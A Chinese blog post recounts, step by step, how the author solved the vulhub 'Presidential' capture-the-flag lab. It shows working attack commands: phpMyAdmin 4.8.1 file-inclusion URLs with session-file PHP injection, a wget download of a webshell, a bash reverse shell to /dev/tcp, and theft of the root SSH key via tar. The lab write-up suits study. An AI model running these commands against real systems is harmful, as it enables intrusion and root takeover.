vulhub-Presidential靶场解题过程

        网上这个靶场的通关教程只有一篇,被各种到处搬来搬去,而教程主要描述的是事后视角,我这种菜鸡看着迷迷糊糊的,就想着以第一视角记录下解题过程,如要参考解题过程建议把每个步骤看完再做,否则你会把我踩得坑都踩一遍。要看教程的直接点击以下链接,本篇手稿过于废话连篇。

https://www.cnblogs.com/MyGuazi/p/13495264.html

甲.        信息搜集

Nmap、nessus扫描。得到80端口开放后开始访问。是一个静态页面,web漏洞就不用看了,解题肯定是要扫后台的。

 

后台扫描发现这两个文件

 

访问后发现无内容,最后换个字典扫了半天,没啥有用的信息。这个时候回来看看这两个文件,查看代码后发现/config.php.bak里写着数据库信息。

  

可是数据库在哪登录呢?题目这个地方就有点魔幻了,作者没有进行说明,最后发现是需要进行域名解析(改hosts文件)来访问。这里怎么说呢,作为ctf题目来说是常规操作,但作为生产环境来说的话肯定是以域名形式访问的,就不存在手动绑域名的操作。这里绑定的是votenow.local域名,信息从web页面邮箱地址后缀而来。

我这里以生产环境的情况来说,我们拿到的是域名信息,拿到域名下一步就很明确,进行子域名爆破。这里由于是自己搭建的环境,所以就不能选用dns服务的子域名爆破工具,而是本地爆破,这里使用wfuzz工具

wfuzz -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.votenow.local" --hw 854 --hc 400 votenow.loca

 

这里肯定是无法直接访问的,再次改hosts文件,绑定域名为datasafe.votenow.local

 

乙.        漏洞利用

使用刚刚获取的信息,登录后查看数据库信息,有个user表,打开后password是加密的。

$2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i。从结构上看像linux的shadow文件中记录的密码格式,创建文件1.txt,内容为$2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i

Shdow文件解密一般使用john工具,这里使用自带的或者自行写入的字典来进行爆破。

 

密码为Stella,这里确认了linux的admin账户的密码为Stella。

 

接着看,然后发现phpmyadmin版本为4.8.1。度娘看看有没有漏洞,有个文件包含。

   

由于对该漏洞没有研究,就直接搬过来用了。

这个漏洞可通过目录穿越包含任意文件
?target=db_datadict.php%253f/../../../../../../../../../Windows/DATE.ini

看到这个我就想直接读密码了,当然,没这么简单。权限不够,看来后面就算拿到shell还得提权。

 

查询sql目录位置。show global variables like "%datadir%";

 

新建表test,表信息改成phpinfo()语句。这时该语句位置在/var/lib/mysql/votebox/test.MYD

 

尝试读取该文件

http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/mysql/votebox/test.MYD

看来我还是天真了,读不了。

 

这个时候就可以参考下网上的资料,一般会让你执行查询语句,这个时候执行select '<?php phpinfo();exit;?>'会直接在页面输出该语句。

 

 

随后我们直接利用文件包含漏洞包含SESSION文件就可以执行该php语句。

这样对应的SESSION文件为/var/lib/php/session/sess_你的SESSION ID。

这个地方要注意,我测试的时候新输入的sql语句并不会覆盖上次执行的语句,来与session绑定。也就是说,每次测试都要重新登录来获取新的session。

http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_74o888g3uiq1ht5mk67gqtmbfejd3lk1

 

丙.        Getshell

看到这,我脑子一抽,不信邪的写个小马,果然还是不行。

 

 

 

尝试使用php中system()来测试能否执行命令。访问后nc接收到了请求,证明是可以进行命令执行的。

  

上面测试过,数据库权限受限,只能读取特定的文件。本地写入文件受限,最后发现有写入权限,只是使用system()函数写文件时sql会报错。

 

所以尝试下载文件或反弹shell。我这里演示下载webshell文件,菜刀连接。

上传wen.php到本地webFTP中(hfs工具),然后sql执行select '<?php system("wget http://192.168.30.1/wen.php");exit;?>'

 

文件包含执行

 

ls查询下

 

菜刀连接。

 

发现webshell中虚拟终端无法切换账户,反弹shell。~^~

直接执行bash -i >& /dev/tcp/192.168.30.129/1212 0>&1

或者写个反弹脚本,执行。

 

(这里测试,直接在虚拟终端中输入反弹命令。在win中使用nc时会提示bash无法连接shell,在kali中则可以得到shell。)

 

丁.        提权

准备使用john爆破出来的账号密码进行登录。但突然意识到,通过bash反弹过来的是一个亚shell,无法使用su命令。试了下果然不行,输入后就没回显了。

 

 

下一步开始获取一个半交互式shell,满足可以su的需求。(可参考:https://blog.csdn.net/qq_38410352/article/details/105119611?utm_medium=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param

这里可以使用python或socat工具,如果目标机没有就需要下载来执行。

看了下,刚好有python2.3的环境,直接用python弹shell。

python -c 'import pty; pty.spawn("/bin/bash")'

 

 

 

仍旧不是最高权限,还得提权。

跑信息丢到极光里分析,结果找不到漏洞。极光老是抽风,我这次使用可能运气不太好,自己的win也跑不出来。

 

再试试linux-exploit-suggester.pl,结果不要能运行pl文件。

提权这方面我是真的菜啊,去看看文件,有什么提示。

Admin的home目录下有两个文件,一个记录着md5,一个提示用新的命令来备份和压缩文件。MD5解不出来,提示也看的人一头雾水。

 

 

试了好久,只能用教程上写的方法了。这里就不写了,等我啥时候自己掌握提权再补上吧。有兴趣自己看教程,这里就是把rootssh的密钥打包出来,解压到其他文件夹,再通过密钥的方式ssh连接本地。

tarS -cvf key.tar /root/.ssh/id_rsa    

tar -xvf key.tar

cd root/.ssh

ssh -i id_rsa root@localhost -p 2082

 

最后说一句,我TM真的好菜啊。~,~

原文地址:https://www.cnblogs.com/pykiller/p/13821261.html